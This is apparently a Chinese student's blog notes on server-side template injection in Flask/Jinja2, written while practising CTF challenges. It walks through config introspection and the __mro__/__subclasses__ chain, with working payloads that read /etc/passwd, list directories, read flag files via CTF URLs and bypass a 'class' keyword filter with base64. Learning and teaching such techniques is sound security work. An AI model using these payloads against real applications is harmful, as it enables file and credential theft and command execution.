SSTI(1)

前段时间被转专业考试逼疯,鸽了一堆比赛(不鸽也不会做,菜哭)把之前的知识补一下,从cg讲的ssti开始吧。
hexo插件问题会把两个大括号里的内容按变量处理,下文用一个代替

SSTI服务器模板注入

什么是SSTI?

SSTI全称Server-Side-Template-Injection,即服务端模版注入攻击。

攻击成因是服务端模版引擎将用户的输入直接渲染进模版,而未做过滤或者对象关系映射(ORM)。

这样,攻击者可以控制渲染进模版的内容。通过直接输入模版渲染的关键词例如{ },即可将恶意代码注入模版中执行。最严重的后果是getshell。

现在有很多常见的模版渲染引擎,而最常用也最长出问题的Web框架就是基于Python的Flask框架了。

注入姿势:

内省config对象

config对象是一个Flask模板全局变量,代表“当前配置对象(flask.config)”。它是一个类似于字典的对象,其中包含了应用程序所有的配置值,包含若干独特方法的子类:from_envvar,from_object,from_pyfile,以及root_path。在大多数情况下,会包含数据库连接字符串,第三方服务凭据,SECRET_KEY之类的敏感信息。

对于新加载的模块,from_object方法会将那些变量名全是大写的属性添加到config对象中。注入payload{ config.items() }就可以轻松查看这些配置了。  

使用非常重要的内省组件:__mro__和__subclasses__属性。

__mro__中的MRO代表方法解析顺序,并且在这里定义为,“是一个包含类的元组,而其中的类就是在方法解析的过程中在寻找父类时需要考虑的类”。__mro__属性以包含类的元组来显示对象的继承关系,它的父类,父类的父类,一直向上到object(如果是使用新式类的话)。它是每个对象的元类属性,但它却是一个隐藏属性,因为Python在进行内省时明确地将它从dir的输出中移除了(见Objects/object.c的第1812行)。

__subclasses__属性则在这里被定义为一个方法,“每个新式类保留对其直接子类的一个弱引用列表。此方法返回那些引用还存在的子类”。

使用__mro__属性来访问对象的父类,使用__subclasses__属性来访问对象的子类

使用索引2来选择object类。现在我们到达了object类,我们使用/subclasses属性来dump应用程序中使用的所有类(找到file类的索引)
找到object:
{ ‘’.__class__.__mro__[2].__subclasses__() }

任意文件读取:
{ ‘’.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read() }

[os]模块

通过os模块可以进行一些文件的操作

{[].\__class__.\__base__.\__subclasses__()}

的方法来访问所有模块

访问os模块都是从warnings.catch_warnings模块入手的。找到catch_warnings的位置(上面查到的所有模块的索引,这里是59,即第59个模块);

知道了位置后,再用func_globals看看该模块有哪些global函数;

在url后面输入
{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}

这里能看到linecache,我们要访问的os模块就在这里,现在我们看看这个模块的各种属性:

在url后面输入
{[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__}
然后在很长的返回值里就可以找到os模块了
然后就可以用

{[].\__class__.\__base__.\__subclasses__()[59].\__init__.func_globals['linecache'].__dict__['o'+'s']}

来代替os模块的使用了,之所以写__dict__[‘o’+’s’],而不写__dict__[‘os’],是因为os这个字符串被禁用了,只能使用python里面字符串的拼接绕过现在os.read()

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].read()

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].open()


[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].listdir('.')

cg题的payload

http://ssh2.evi0s.com:8080/%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].listdir('..')%7D%7D 
看到flag文件
文件读取打开

http://ssh2.evi0s.com:8080/%7B%7B[].__class__.__base__.__subclasses__()[40]('/Th1s_th3_fl1l1l11llll1g').read()%7D%7D 

过滤了class怎么办,base64编码绕过,招新赛的payload

http://132.232.92.163:6733/?name={[].__getattribute__('X19jbGFzc19f%27.decode(%27base64')).__base__.__getattribute__([].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__,'X19zdWJjbGFzc2VzX18='.decode('base64'))()[58].__init__.func_globals['linecache'].__dict__.os.listdir("/home/blacsheep/")} 
0%